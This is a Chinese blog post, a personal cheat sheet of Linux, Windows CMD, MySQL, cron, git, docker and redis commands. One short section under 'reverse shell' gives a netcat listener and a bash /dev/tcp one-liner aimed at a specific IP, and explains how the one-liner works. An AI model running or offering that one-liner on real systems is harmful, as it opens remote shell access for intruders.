Windows、Linux常用命令大全记录

Linux命令

Linux目录含义 对比windows
/bin 所有用户可用的基本命令存放的位置 windows没有固定的命令存放目录
/sbin 需要管理员权限才能使用的命令
/boot linux系统启动的时候需要加载和使用的文件
/dev 外设连接linux后,对应的文件存放的位置 类似Windows中的U盘,光盘的符号文件。
/etc 存放系统或者安装的程序的配置文件,注册服务等 类似windows中的注册表,
/home 家目录,linux中每新建一个用户,会自动在home中为该用户分配一个文件夹 类似windows中的"我的文档",每个用户有自己的目录。
/root root账户的家目录,仅供root账户使用 类似windows中的Administrator账户的"我的文档"
/lib linux的命令和系统启动,需要使用一些公共的依赖,放在lib中,类似我们开发的代码执行需要引入的jdk的jar
/usr 很多系统软件的默认安装路径 类似windows中的C盘下的Program Files目录。
/var 系统和程序运行产生的日志文件和缓存文件放在这里

文件名前有个.表示这是隐藏文件
~ 表示home目录
/ 表示根目录

cd 目录名

cd ~#进入当前用户home根目录
cd /#进入系统根目录
cd ..#进入上一层目录
cd -#返回上次所在路径

ls
ls -al #查看隐藏文件和目录
echo "Good morning."

echo "Good morning." >> /tmp/test.txt

 

mkdir abc #创建文件夹
mkdir -p /abc/bcd
touch test.txt #创建文件
rm 文件 #删除文件
rm -r 文件夹 #删除文件夹
rm -rf #强制删除
cp 原文件 新文件 #拷贝文件
cp -r 原文件夹 新文件夹
mv 文件 文件夹 #移动文件
mv 文件1 文件2 #重命名文件
vi 文件 #编辑文件
必要安装的软件功能
vim 文件 #编辑文件加强版
wget url #wget(下载器)
tree 目标目录 #tree(目录树状显示)

cat 文件名 #查看文件的所有内容,适合小文
less 文件名 #以分页的方式测览文件信息(适合查看大文档), 进入测览模
# 浏览快捷键
上 #浏览上一行
下 #浏览下一行
G #最后一页
g #第一页
空格 #下—页
/关键词 #搜索关键词
# 退出浏览模式,回到Linux命令行模式
q #退出

tail -f 文件名 #实时滚动显示文件的最后10行信息(默认10行)(有新的日志行数会变多)
tail -n 20 文件名 #显示文件信息最近20行,不实时
tail -f -n 20 文件名 #实时滚动显示文件的最后20行信息

find
#语法

find 查找范围 查找条件

       -name 按名称查找

find 路径 -name "文件名关键词"

      -maxdepth 查看多深的文件,不能超过所限制的目录下的内容

      -mindepth 查看不小于多深的文件,不低于所限制内容

find /etc -mindepth 4 -name *.conf

      -not 非

      -o 或

      -a 与

      -user 查找属于某用户的文件

      -group 查找属于某用户组的文件

find -user student -o -user luyao

      -size 20K 按文件大小查找20K 的文件

      -size -20K 查找不大于20K的文件

      -size +20K 查找大于 20K的文件

      -ctime 5 五内的时间点修改过的文件

      -ctime +5 五天前修改或的文件

      -ctime -5 小于五天修改过的文件

      -cmin 5 查看距现在5分钟时修改

      -cmin -5 查看五分钟内修改的文件

      -cmin +5 五分钟之前修改的文件

      -perm 按权限查找

      -perm 555 查找权限为555的文件

      -perm -444 查找所有人 所有组 其他人 有读权限的文件

      -perm /444 查找所有人 或所有组 或其他人 至少有一个有读权限的文件

find /mnt -perm 444

-exec 将 /mnt 下有555权限的文件改为444

find /mnt -perm 555 -exec chmod 444 {} \;

-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。

{} 花括号代表前面find查找出来的文件名

查找当前目录下的文件,并对查找结果执行ls -l 命令

[root@trade sh]# find . -type f -exec ls -l {} \;
-rw-r--r--. 1 root root 0 Aug 17 09:29 ./file5.sh
-rw-r--r--. 1 root root 0 Aug 17 09:29 ./file4.sh
-rw-r--r--. 1 root root 0 Aug 17 09:29 ./file1.sh
-rw-r--r--. 1 root root 0 Aug 17 09:29 ./file2.sh
-rw-r--r--. 1 root root 0 Aug 17 09:29 ./file3.sh

-ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

查找当前目录下文件名以.log结尾且24小时内更改过的文件,并进行安全删除操作(即删除前会进行询问)

find -name "*.log" -type f -mtime 1 -ok rm {} \;

查找当前目录下的以.log结尾的文件或目录,并移动到test目录下

find -name "*.log" -exec mv {} test \;

 

# 例子

find / -name "passwd"
find / -name "ifcfg-*"

grep

查找目标所在的整行内容
# 语法
grep -参数 要查找的目录范围
# 参数
-n 显示查找结果所在行号
-R 递归查找目录下的所有文件
# 例子

grep aries /etc
grep aries /etc/passwd
find . -name "*.log"|xargs grep 'password'
find / -name "*.log"|xargs grep 'pwd' --color=auto
find / -name "*.log"|xargs grep 'DimFilterCustomMetricHelper' --color=auto

#查看某个端口的信息
netstat -anp #查看监听的端口

netstat -anp | grep 8080

 

#干掉某个进程
kill -9 进程id
# 静态查看系统进程
ps -aux
ps -ef

ps -aux |grep java #查找java进程

 

# 实时查看系统进程
top
# 快捷键
↑ 下翻
↓ 上翻
q 退出
# 关闭进程
kill 进程id
# 强制关闭进程(谨慎使用)
kill -9 进程id

# 将命令1的执行结果,输出到后面的文件中。
命令1 > 文件 #覆盖写入
命令1 >> 文件 #追加写入

echo "Good morning." >> /tmp/test.txt

#管道符 语法,将命令1的输出结果,作为命令2的输入
命令1|命令2

ps -aux | grep java #查找java进程

chmod
语法:chmod u±rwx,g±rwx,o±rwx 文件名
运算符:
- 删除权限
+ 添加权限
## 给文件的所有者添加执行权限
chmod u+x 文件名
## 给文件的其他人删除所有权限
chmod o-rwx 文件名
## 给文件的所属组设置读写权限
chmod g=wx 文件名
#快捷方式
# 设置文件的权限为(所有者可读可写可执行,所属组可读可写,其他人可读)
chmod 764 文件名

 

sudo

我们知道,使用 su 命令可以让普通用户切换到 root 身份去执行某些特权命令,但存在一些问题,比如说:

  • 仅仅为了一个特权操作就直接赋予普通用户控制系统的完整权限;
  • 当多人使用同一台主机时,如果大家都要使用 su 命令切换到 root 身份,那势必就需要 root 的密码,这就导致很多人都知道 root 的密码;

考虑到使用 su 命令可能对系统安装造成的隐患,最常见的解决方法是使用 sudo 命令,此命令也可以让你切换至其他用户的身份去执行命令。
相对于使用 su 命令还需要新切换用户的密码,sudo 命令的运行只需要知道自己的密码即可,甚至于,我们可以通过手动修改 sudo 的配置文件,使其无需任何密码即可运行。
sudo 命令默认只有 root 用户可以运行,该命令的基本格式为:

[root@localhost ~]# sudo [-b] [-u 新使用者账号] 要执行的命令

常用的选项与参数:

  • -b  :将后续的命令放到背景中让系统自行运行,不对当前的 shell 环境产生影响。
  • -u  :后面可以接欲切换的用户名,若无此项则代表切换身份为 root 。
  • -l:此选项的用法为 sudo -l,用于显示当前用户可以用 sudo 执行那些命令。

/etc/sudoers

sudo命令的配置文件

修改 /etc/sudoers,不建议直接使用 vim,而是使用 visudo。因为修改 /etc/sudoers 文件需遵循一定的语法规则,使用 visudo 的好处就在于,当修改完毕 /etc/sudoers 文件,离开修改页面时,系统会自行检验 /etc/sudoers 文件的语法。

修改 /etc/sudoers 文件的命令如下:

[root@localhost ~]# visudo
…省略部分输出…
root ALL=(ALL) ALL  <--大约 76 行的位置
# %wheel ALL=(ALL) ALL   <--大约84行的位置
#这两行是系统为我们提供的模板,我们参照它写自己的就可以了
…省略部分输出…

通过 visudo 命令,我们就打开了 /etc/sudoers 文件,可以看到如上显示的 2 行信息,这是系统给我们提供的 2 个模板,分别用于添加用户和群组,使其能够使用 sudo 命令。
这两行模板的含义分为是:

root ALL=(ALL) ALL
#用户名 被管理主机的地址=(可使用的身份) 授权命令(绝对路径)
#%wheel ALL=(ALL) ALL
#%组名 被管理主机的地址=(可使用的身份) 授权命令(绝对路径)
模块 含义
用户名或群组名 表示系统中的那个用户或群组,可以使用 sudo 这个命令。
被管理主机的地址 用户可以管理指定 IP 地址的服务器。这里如果写 ALL,则代表用户可以管理任何主机;如果写固定 IP,则代表用户可以管理指定的服务器。如果我们在这里写本机的 IP 地址,不代表只允许本机的用户使用指定命令,而是代表指定的用户可以从任何 IP 地址来管理当前服务器。
可使用的身份 就是把来源用户切换成什么身份使用,(ALL)代表可以切换成任意身份。这个字段可以省略。
授权命令 表示 root 把什么命令命令授权给用户,换句话说,可以用切换的身份执行什么命令。需要注意的是,此命令必须使用绝对路径写。默认值是 ALL,表示可以执行任何命令。

授权用户 lamp 可以重启服务器,由 root 用户添加,可以在 /etc/sudoers 模板下添加如下语句:

[root@localhost ~]# visudo
lamp ALL=/sbin/shutdown -r now

注意,这里也可以写多个授权命令,之间用逗号分隔。用户 lamp 可以使用 sudo -l 查看授权的命令列表:

[root@localhost ~]# su - lamp
#切换成lamp用户
[lamp@localhost ~]$ sudo -l
[sudo] password for lamp:
#需要输入lamp用户的密码
User lamp may run the following commands on this host:
(root) /sbin/shutdown -r now

可以看到,lamp 用户拥有了 shutdown -r now 的权限。这时,lamp 用户就可以使用 sudo 执行如下命令重启服务器:

[lamp@localhost ~]$ sudo /sbin/shutdown -r now

再次强调,授权命令要使用绝对路径(或者把 /sbin 路径导入普通用户 PATH 路径中,不推荐使用此方式),否则无法执行。

tar

tar -zcvf 压缩后文件名 被压缩文件 #压缩语法:-z 操作tar.gz文件需要使用 -x 解压缩 -c 压缩 -v 显示压缩或者解压缩的执行过程信息 -f 要处理的文件file,必须放在最后
tar -zxvf 压缩文件名 -C 解压后文件所在目录 #解压缩语法

CentOS7主要有rpm和yum这两种包软件的管理。两种包的管理各有用处,其中主要区别是:YUM使用简单但需要联网,YUM会去网上的YUM包源去获取所需要的软件包。而RPM的需要的操作经度比较细,需要我们做的事情比较多。

rpm

-i 安装软件包(–install)
可选附带参数:
–nodeps 不验证软件包的依赖
–force 强制安装,即使覆盖其他包的文件也要安装
-v 可视化,提供更多的详细信息的输出
-h 显示安装进度
-a 查询所有已经安装的软件包
-f 查询文件所属于的软件包
-q 查询软件包(通常用来看下还未安装的软件包,注意,查询时不需要带包名后缀,只需命令名,如rpm -q tree)
-l 显示软件包的文件列表
-e 卸载指定软件包(注意,卸载时需要指定具体包名后缀,如 rpm -e tree-1.7.0-1.30.x86_64)
-U 升级软件包,很少用

常用组合:
-ivh 安装指定rmp包并显示安装进度
-qa 查询所有已经安装的软件包
-qi 查询软件包安装信息

rpm -qi -tree
rpm -hvi dejagnu-1.4.2-10.noarch.rpm

yum
yum基于rpm实现的,提供了除了rpm的安装软件、卸载软件等功能以外还有,自动查找、下载软件并自动处理软件的彼此之间的依赖关系,下载并安装依赖包。

远程登录linux:

ssh
ssh 远程linux的ip或者映射域名

ssh 192.168.1.100      #没有指定用户名,则默认使用当前登录的用户名
ssh -l user 192.168.1.100   #指定登录的用户名,可以使用 -l 参数
ssh user@192.168.1.100    #可以省略 -l 参数
ssh -p 2222 user@192.168.1.100  #使用其他端口,可以使用 -p 参数指定
ssh -l user 192.168.1.100 'pwd'  #登录并执行命令
ssh -i ~/.ssh/id_rsa.pub user@192.168.1.100  #使用 -i 参数可以指定用于身份验证的文件,这通常是公钥文件

scp 本地的文件 root@远程linuxip:/远程linux的文件路径
scp -r 本地的目录 root@远程linuxip:/远程linux的文件路径

符号
;      命令1 ; 命令2 先运行命令 1,然后运行命令 2
&&   命令1 && 命令2 仅当命令 1 成功结束时才运行命令 2
||     命令1 || 命令2 仅当命令 1 失败时才运行命令 2

&    在命令的末尾使用,表示某个命令放在后台执行(jobs 可调出后台ID)#sleep 5 &

对于需要长时间执行的任务,&符号可以使当前终端窗口不被占用,这样就能继续在同一个终端上工作,甚至关闭终端窗口也不会影响任务的正常执行。不过需要注意的是,如果要求这个任务输出内容到标准输出中(例如 echo 或 ls),即便使用了 &,也会等待这些输出任务在前台运行完毕

当使用 &将一个进程放置到后台运行的时候,Bash 会提示这个进程的进程 ID。在 Linux 系统中运行的每一个进程都有一个唯一的进程 ID,我们可以使用进程 ID 来暂停、恢复或者终止对应的进程,因此进程 ID 是非常重要的

|      表示上一个命令的输出作为下一个命令的输入(过滤条件很好用)#cat file |grep 'a'

>    echo > file表示覆盖(echo 输出为空,将这个空值覆盖到 file,相当于清空文件);

>>    echo 'a' >> file 表示追加,将字符串 a 追加到 file

!!    执行上一个命令

!p     执行上一次以p开头的命令

!20   执行历史命令编号为20的命令(使用 history 查看编号)

0>表示标准输入
1>表示标准输出,1有时也可以忽略不写,默认1
2>表示标准错误输出
标准输出指向log.txt
ls 1>log.txt
ls >log.txt
标准错误输出指向logerror.txt
ls 2>logerror.txt
标准错误输出指向标准输出
2>&1

反弹shell
nc -lvp 6767
-|监听, -V输出交互或出错信息, -p端口. nc是netcat的简写, 可实现任意TCP/UDP端口的侦听, nc可以作为server以TCP或UDP方式侦听指定端口.
bash -i >&/dev/tcp/10.201.61.194/6767 0>&1

bash -i >&/dev/tcp/10.201.61.194/6767 0>&1

-i interactive。即产生一个交互式的shell (bash)
特殊设备文件 (Linux一切皆文件) , 实际这个文件是不存在的, 它只是baah实现的用来实现网络请求的一个接口.
打开这个文件就相当于发出了一个socket调用并建立一个socket连接, 读写这个文件就相当于在这个socket连接中传输数据.

nohup

nohup 英文全称 no hang up(不挂起),用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行。
nohup 在默认情况下(非重定向时),会输出一个名叫 nohup.out 的文件到当前目录下,如果当前目录的 nohup.out 文件不可写,输出重定向到 $HOME/nohup.out 文件中。
以下命令在后台执行 root 目录下的 runoob.sh 脚本:
nohup /root/runoob.sh &
如果要停止运行,你需要使用以下命令查找到 nohup 运行脚本到 PID,然后使用 kill 命令来删除:
ps -aux | grep "runoob.sh" 
kill -9  进程号PID
nohup和&的区别:
&是指在后台运行,但当用户推出(挂起)的时候,命令自动也跟着退出
nohup运行命令可以使命令永久的执行下去,和用户终端没有关系,例如我们断开SSH连接都不会影响他的运行
那么,我们可以巧妙的吧他们结合起来用就是 nohup COMMAND & 这样就能使命令永久的在后台执行

sh -c 

它可以让 bash 将一个字串作为完整的命令来执行

sh -c 'echo "一行信息" >> test.asc'

ping
ping 192.168.120.205 #ping的通的情况:64 bytes from 192.168.120.205: icmp_seq=1 ttl=64 time=0.720 ms
ping 192.168.120.205 #ping的不通的情况:from 192.168.120.205 icmp_seq=1 destination host unreachable
ping -b 192.168.120.1 #ping网关
ping -c 10 192.168.120.206 #ping指定次数
ping -c 10 -i 0.5 192.168.120.206 #时间间隔和次数限制
•使用ping检查连通性有六个步骤:
•1.使用ifconfig观察本地网络设置是否正确;
•2.ping127.0.0.1,127.0.0.1回送地址ping回送地址是为了检查本地的tcp/ip协议有没有设置好;
•3.ping本机ip地址,这样是为了检查本机的ip地址是否设置有误;
•4.ping本网网关或本网ip地址,这样的是为了检查硬件设备是否有问题,也可以检查本机与本地网络连接是否正常;(在非局域网中这一步骤可以忽略)
•5.ping本地dns地址,这样做是为了检查dns是否能够将ip正确解析。
•6.ping远程ip地址,这主要是检查本网或本机与外部的连接是否正常。

curl
curl 是一种命令行工具,作用是发出网络请求,然后获取数据,显示在"标准输出"(stdout)上面。它支持多种协议
curl www.sina.com #直接在 curl 命令后加上网址,就可以看到网页源码
curl -L www.sina.com #有的网址是自动跳转的。使用 -L 参数,curl 就会跳转到新的网址。
curl -i www.sina.com #-i 参数可以显示 http response 的头信息,连同网页代码一起。-I 参数则只显示 http response 的头信息。
curl -v www.sina.com #-v 参数可以显示一次 http 通信的整个过程,包括端口连接和 http request 头信息。
curl -v --location --request POST 'https://10.122.254.51:8080/authservices/npsBusTypeService/findNpsBusTypeList/page/15/1' --header 'Content-Type: application/json' --data-raw '{"npsTitle":"","status":""}'

环境变量

linux中去设置环境变量的方法有如下几种方法:
一、动态库路径的设置

Linux下调用动态库和windows不一样.linux 可执行程序是靠配置文件去读取路径的,因此有些时候需要设置路径
具体操作如下
export LD_LIBRARY_PATH=/home/…(动态库的目录)
不过这种设置方法只是在当前的session中有效你可以修改配置文件实现任何session都有效

二、环境变量的设置

直接用export命令:
#export PATH=$PATH:/opt/au1200_rm/build_tools/bin

使用echo $PATH查看如下

PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/opt/au1200_rm/build_tools/bin"

可以看到,环境变量已经设好,PATH里面已经有了我要加的编译器的路径。

 

##########################################################################################

windows命令

CMD命令:
gpedit.msc-----组策略
sndrec32-------录音机
Nslookup-------IP地址侦测器
explorer-------打开资源管理器
logoff---------注销命令
tsshutdn-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组
services.msc—本地服务设置
oobe/msoobe /a----检查XP是否激活
notepad--------打开记事本
cleanmgr-------垃圾整理
net start messenger----开始信使服务
compmgmt.msc—计算机管理
net stop messenger-----停止信使服务
conf-----------启动netmeeting
dvdplay--------DVD播放器
charmap--------启动字符映射表
diskmgmt.msc—磁盘管理实用程序
calc-----------启动计算器
dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查
devmgmt.msc— 设备管理器
regsvr32 /u *.dll----停止dll文件运行
drwtsn32------ 系统医生
rononce -p ----15秒关机
dxdiag---------检查DirectX信息
regedt32-------注册表编辑器
Msconfig.exe—系统配置实用程序
rsop.msc-------组策略结果集
mem.exe--------显示内存使用情况
regedit.exe----注册表
winchat--------XP自带局域网聊天
progman--------程序管理器
winmsd---------系统信息
perfmon.msc----计算机性能监测程序
winver---------检查Windows版本
sfc /scannow-----扫描错误并复原
taskmgr-----任务管理器(2000/xp/2003
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc— 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow—windows文件保护
tsshutdn-------60秒倒计时关机命令
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc—计算机管理
cleanmgr-------垃圾整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
explorer-------打开资源管理器

 

cmd /c dir 是执行完dir命令后关闭命令窗口。

cmd /k dir 是执行完dir命令后不关闭命令窗口。

cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭。

cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭。

 

fsutil file createnew test.txt 10240000000   #新建超大文件
& 命令1 & 命令2               先运行命令 1,然后运行命令 2
&& 命令1 && 命令2             仅当命令 1成功结束时才运行命令 2
|| 命令1 || 命令2               仅当命令 1 失败时才运行命令 2


关闭进程
1.找到已占用端口号的进程号,例如端口号:8080
netstat -ano
netstat -ano | findstr 8080
2.关闭对应的进程号
taskkill /pid 7460 -t -f
3.查看进程
tasklist
tasklist|findstr 9088

 

PowerShell命令

iex(irm  'file:///D:/Desktopd/test//testpowershell.ps1')


#############################################################################################################

MySQL

在MySQL的bin目录下执行
mysql -u root -p 进入mysql 需输入密码
show database; 展示所有数据库
use 数据库名 选择该数据库
show tables; 展示本库所有表
通过sql语句执行相应操作

命令行模式操作数据库 添加查询 修改 删除 ( 表 字段 数据)
一 查看数据库、表、数据字段、数据

1  进入mysql 或者通过一键集成工具 打开mysql命令行 或者mysql 可视化工具 打开命令行

2 查看当前所有的数据库

show databases;

3 选择(进入) 数据库

use 数据库名;

4 查看当前数据库所有的表

show tables;

5 查看 某个表的字段结构

desc 表明;

6 查询表数据

select * from 表名;

二 新建数据库、数据表(表)、数据(添加数据)

1 新建数据库

create database 数据库名;

进入新建数据库 创建表

2 新建表

CREATE TABLE 表名 (

字段名字 数据类型 修饰

) 注意至少要有一个字段 修饰与数据类型在这里不再详细说明 关键字大写 字段间用,隔开 最后一行不用

3 添加数据

insert into 表名 valuse(值,值);

三 修改数据表,修改数据

1 修改数据表

(1)alter table 表名 add 字段名 类型 修饰【加的列在表的最后面】

(2)alter table 表名 add 字段名 类型 修饰 after 某列【把新列加在某列后面】

(3)alter table 表名 add 字段名字 类型 参数 first【把新列加在最前面】

2 修改数据

update user set name=新值 where

3 修改数据库 版本不同方法不同

RENAME database oldname TO newname; (最新5.2以上好像已经放弃,有需要请参考其他方法)
版本已经放弃

四 删除数据库,数据表,数据

1 删除数据库
drop database 数据库名;

2删除数据表
drop table 表名

3 删除数据
delete from 表名 where;


#####################################################################################################################

.bashrc

一、.bashrc 是什么?
.bashrc是home目录下的一个shell文件,用于储存用户的个性化设置。在bash每次启动时都会加载.bashrc文件中的内容,并根据内容定制当前bash的配置和环境。
补充: .bash_profile和.bashrc的区别?
两者在登陆bash时都会被bash执行,但是.bash_profile只在会话开始时被读取,而.bashrc在每次打开新的终端时都会被读取。
二、.bashrc 能干什么?
1.个性化指令
alias ll = "ls -lha"
2.设定环境路径
PATH="$PATH:$HOME/.local/bin:$HOME"
export PATH
3.提示符设置
PS1=”[\u: \w]$”
三、.bashrc 怎么用?
可以用任何终端文本编辑器打开.bashrc。以vim为例:
vim ~/.bashrc
编辑.bashrc需要遵循bash脚本格式,

1.个性化指令
打开.bashrc后,可以在利用利用命名函数alias定制需要的指令,如
#用 ll 代替 ls -lha 这个命令,在此bash下输入命令 ll 等
#同于输入 ls -lha 命令
alias ll = "ls -lha"
除了缩短命名,也可以用bash函数组合多个命令到一个操作,这些命令大多遵循以下语法。
语法一:
function function_name {
command1
<^>command2</^>
}
语法二:
function_name () {
command_1
command_2
}
你对 .bashrc 所做的任何修改将在下一次启动终端时生效。如果你想立刻生效的话,运行下面的命令:
source ~/.bashrc
四、.bashrc 没了怎么办?
首先,首先,首先,.bashrc可以删除,但是删除不存在任何好处。
如果用户删除了.bashrc,可以从如下路径拷贝一份原始的.bashrc文件到用户home目录下
cp /etc/skel/.bashrc ~/


#########################################################################################################

cron 定时执行

systemctl status crond.service 查看服务器是否安装了cron 安装参考https://blog.csdn.net/hukai0q/article/details/83380951

[root@localhost cron]# vi/etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-part
*/1 * * * * root /root/test/killffmpeg.sh


文件/etc/crontab中每行任务的描述格式如下:

minute hour day month dayofweek command

minute - 从0到59的整数

hour - 从0到23的整数

day - 从1到31的整数 (必须是指定月份的有效日期)

month - 从1到12的整数 (或如Jan或Feb简写的月份)

dayofweek - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)

command - 需要执行的命令(可用as ls /proc >> /tmp/proc或 执行自定义脚本的命令)

每一分钟执行 */1 * * * *

每小时执行 0 * * * *

每天执行 0 0 * * *

每周执行 0 0 * * 0

每月执行 0 0 1 * *

每年执行 0 0 1 1 *

root表示以root用户身份来运行

#############################################################################################################

git

工作区,暂存区,本地仓库,远程仓库

如何创建一个本地仓库:

git init  #新建目录,并执行git init命令,对目录初始化为一个本地仓库,执行git status查看状态发现创建成功
touch test1.txt #在工作区(当前可以看的见的目录)随便新建一个文件
git add test1.txt #将刚刚工作区文件添加到暂存区
git commit -m "mycommit" #将暂存区文件添加到本地仓库,-m表示提交信息,提交信息写在双引号""内,不指定-m还是会让你输入信息

git log  #命令,打印 Git 仓库提交日志记录,内容包括Author提交作者、Date提交日期和提交信息。

git branch  #命令,查看 Git 仓库的分支情况,现在仅有一个master分支,其中master分支前的*号表示“当前所在的分支”

git branch a  #再输入命令git branch,新建了一个分支a

git checkout a  #git checkout 分支名 切换到a分支

git merge a  #回到master分支,执行命令将a分支合并到master分支:在合并分支的时候,要考虑到两个分支是否有冲突,如果有冲突,则不能直接合并,需要先解决冲突;反之,则可以直接合并。

git branch -d a  #命令,删除a分支:有的时候,通过git branch -d命令可以出现删除不了现象,例如分支a的代码没有合并到主分支等,这时如果我们一定要删除该分支,那么我们可以通过命令git branch -D进行强制删除。

git tag v1.0  #git tag 命令,为当前分支添加标签

利用 SSH 完成 Git 与 GitHub 的绑定

要想生成SSH key,首先就得先安装 SSH,对于 Linux 和 Mac 系统,其默认是安装 SSH 的,而对于 Windows 系统,其默认是不安装 SSH 的,不过由于我们安装了 Git Bash,其也应该自带了 SSH. 可以通过在 Git Bash 中输入ssh命令,查看本机是否安装 SSH

ssh-keygen -t rsa  #输入ssh-keygen -t rsa命令,表示我们指定 RSA 算法生成密钥,然后敲三次回车键,期间不需要输入密码,之后就就会生成两个文件,分别为id_rsa和id_rsa.pub,即密钥id_rsa和公钥id_rsa.pub. 对于这两个文件,其都为隐藏文件,默认生成在以下目录:Linux 系统:~/.ssh  Windows 系统:C:\Documents and Settings\username\\.ssh  Windows 10 ThinkPad:C:\Users\think\.ssh

密钥和公钥生成之后,我们要做的事情就是把公钥id_rsa.pub的内容添加到 GitHub,这样我们本地的密钥id_rsa和 GitHub 上的公钥id_rsa.pub才可以进行匹配,授权成功后,就可以向 GitHub 提交代码啦!

git push #将本地仓库推送到远程仓库:git push origin master
git pull #拉取远程分支更新到本地的操作:git pull origin master,git pull是相当于从远程仓库获取分支最新版本,然后再与本地分支合并,在大多数情况下它的含义是一个 git fetch 紧接着一个 git merge 命令
git clone -b 分支 版本库的url #将远程仓库克隆到本地,-b 指定分支,clone操作是一个从无到有的克隆操作:通过clone命令创建的本地仓库,其本身就是一个 Git 仓库了,不用我们再进行init初始化操作
git status #查看状态
git restore d.txt #撤销,恢复文件,git restore .
git reset --hard 80b5396 #退回版本: 80b5396
git checkout <branch_name > #切换分支

git remote add origin https://github.com/xxx/xxx.git  #关联远程产库,本地新建一个目录,使用命令关联远程仓库,

git分支操作
git branch #git branch 命令不只是可以创建与删除分支。 如果不加任何参数运行它,会得到当前所有分支的一个列表
git branch -v #查看每一个分支的最后一次提交
git branch testbranch #创建分支
git checkout tesbranch #切换分支,这条命令做了两件事,一是使 HEAD 指向新分支,二是将工作变成新分支所指向的快照内容
[git checkout master
[git merge testbranch #将 testbranch 分支合并回master 分支
git branch -d testbranch #-d 删除分支

git恢复被删除的文件
情景一:删除操作提交到了本地库
情景解释 : 工作区中删除一个文件a, git add 到暂存区, git commit 提交版本库
$ git log --oneline #查看日志
34ae4d4 (HEAD -> master) delete a.txt
80b5396 init project
$ git reset --hard 80b5396 #退回到包合 a.txt 的版本: 80b5396
HEAD is now at 80b5396 init project
情景二:删除操作添加到了暂存区
情景解释 : 工作区中删除一个文件,git add 到暂存区
$ git reset --hard HEAD #回到最近的版本中(包含 b.txt的),--hard 重置工作区和特存区与版本库保持一致
HEAD is now at 8Ob5396 init project
情景三:删除操作仅在工作区
情景解释 : 工作区中删除一个文件
方式一
$ git reset --hard HEAD #强行重置成当前版本的状态
HEAD is now at 8Ob5396 init project
方式二
$ git restore d.txt #撤销,恢复文件
$ git restore . #撤销,恢复当前目录文件

#############################################################################################################

docker

1.查看有哪些运行中容器,然后选择想进入的容器名称
docker ps
2.进入容器
docker exec -it 容器名称 /bin/bash
3.查看镜像列表常用命令
docker images

容器内退出:
exit
ctrl+p+q

#############################################################################################################

redis

redis-server.exe #启动redis服务
redis-cli.exe -h 127.0.0.1 -p 6379 -a 密码 #客户端连接redis 乱码redis-cli --raw
set myKey abc #设置key
get myKey #获取key
DEL key 该命令用于在 key 存在时删除 key。
DUMP key 序列化给定 key ,并返回被序列化的值。
EXPIRE key seconds 为给定 key 设置过期时间,以秒计。
TYPE key 返回 key 所储存的值的类型。

 

 

快捷键

idea快捷键:
alt+inster #快速生成代码

ctrl+alt+l #格式化代码
shift + tab #左移代码
shift #右移代码

windows快捷键:

shift+end #快速选中一行,当前光标到行尾
Shift+Home #当前光标到行首
Shift+PgUp #当前光标到页尾
Shift+PgDn #当前光标到页首
shift+Ins #粘贴
win+e #打开文件管理

linux快捷键:
shift+Ins #粘贴
shift+DEL #复制

posted @ 2023-03-23 14:59  少年阿丁  阅读(232)  评论(0编辑  收藏  举报